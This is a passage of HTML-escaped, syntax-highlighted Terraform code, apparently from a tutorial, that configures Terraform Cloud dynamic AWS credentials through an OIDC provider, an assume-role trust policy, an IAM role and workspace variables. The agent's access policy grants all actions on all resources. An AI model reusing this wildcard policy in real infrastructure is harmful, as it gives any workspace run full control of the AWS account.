a file called \u003ccode\u003e4-tfc.tf\u003c/code\u003e:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"hcl\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"hcl\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tfe_organization\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"organization\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e name\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e var\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc_organization_name\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e email\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e var\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc_organization_owner\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#768390\"\u003e/* AWS will use this TLS certificate to verify that requests for dynamic\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#768390\"\u003ecredentials come from Terraform Cloud.*/\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003edata\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tls_certificate\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tfc_certificate\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e url\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"https://\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e${\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003evar\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc_hostname\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#768390\"\u003e/* sets up an OIDC provider in AWS with Terraform Cloud's TLS certificate,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#768390\"\u003ethe SHA1 fingerprint from the TLS certificate\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#768390\"\u003e*/\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"aws_iam_openid_connect_provider\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tfc_provider\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e url\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e data\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etls_certificate\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc_certificate\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eurl\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e client_id_list\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [var\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc_aws_audience]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e thumbprint_list\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e data\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etls_certificate\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc_certificate\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ecertificates[\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e]\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003esha1_fingerprint\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e ]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#768390\"\u003e/* Policy to allow TFC to assume the AWS IAM role in our account */\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003edata\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"aws_iam_policy_document\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"assume_role\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e statement\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e effect\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"Allow\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e principals\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e type\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"Federated\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e identifiers\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [aws_iam_openid_connect_provider\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc_provider\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003earn]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e condition\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e test\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"StringEquals\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e variable\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e${\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003evar\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc_hostname\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e:aud\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e values\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e${\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003eone\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e(aws_iam_openid_connect_provider\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc_provider\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eclient_id_list\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e ]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e condition\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e test\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"StringLike\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e variable\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e${\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003evar\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc_hostname\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e:sub\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e values\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e for\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e workspace \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003ein\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e var\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc_workspaces \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"organization:\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e${\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfe_organization\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eorganization\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ename\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e:project:\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e${\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003evar\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc_project_name\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e:workspace:\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e${\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eworkspace\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e:run_phase:*\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e ]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e actions\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"sts:AssumeRoleWithWebIdentity\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"aws_iam_role\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tfc-agent\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e name\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"tfc-agent\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e assume_role_policy\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e data\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eaws_iam_policy_document\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eassume_role\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ejson\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#768390\"\u003e/* Policy for what the TFC agent is allowed to do */\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003edata\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"aws_iam_policy_document\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tfc-agent\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e version\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"2012-10-17\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e statement\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e actions\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"*\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e effect\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"Allow\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e resources\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"*\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"aws_iam_policy\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tfc-agent\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e name\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"tfc-agent-access-policy\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e description\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"Access policy for the TFC agent\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e policy\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e data\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eaws_iam_policy_document\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc-agent\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ejson\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"aws_iam_role_policy_attachment\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tfc-access-attach\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e role\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e aws_iam_role\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc-agent\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ename\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e policy_arn\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e aws_iam_policy\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc-agent\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003earn\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tfe_workspace\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"workspaces\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e count\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e length\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(var\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc_workspaces)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e name\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e var\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc_workspaces[count\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eindex]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e organization\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e tfe_organization\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eorganization\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ename\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e working_directory\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e var\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc_workspaces[count\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eindex]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#768390\"\u003e/* These variables tell the agent to use dynamic credentials */\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tfe_variable\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tfc-auth\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e count\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e length\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(var\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc_workspaces)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e key\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"TFC_AWS_PROVIDER_AUTH\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e value\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e true\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e category\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"env\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e workspace_id\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e tfe_workspace\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eworkspaces[count\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eindex]\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eid\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e description\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"Enable dynamic auth on the TFC agents\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan 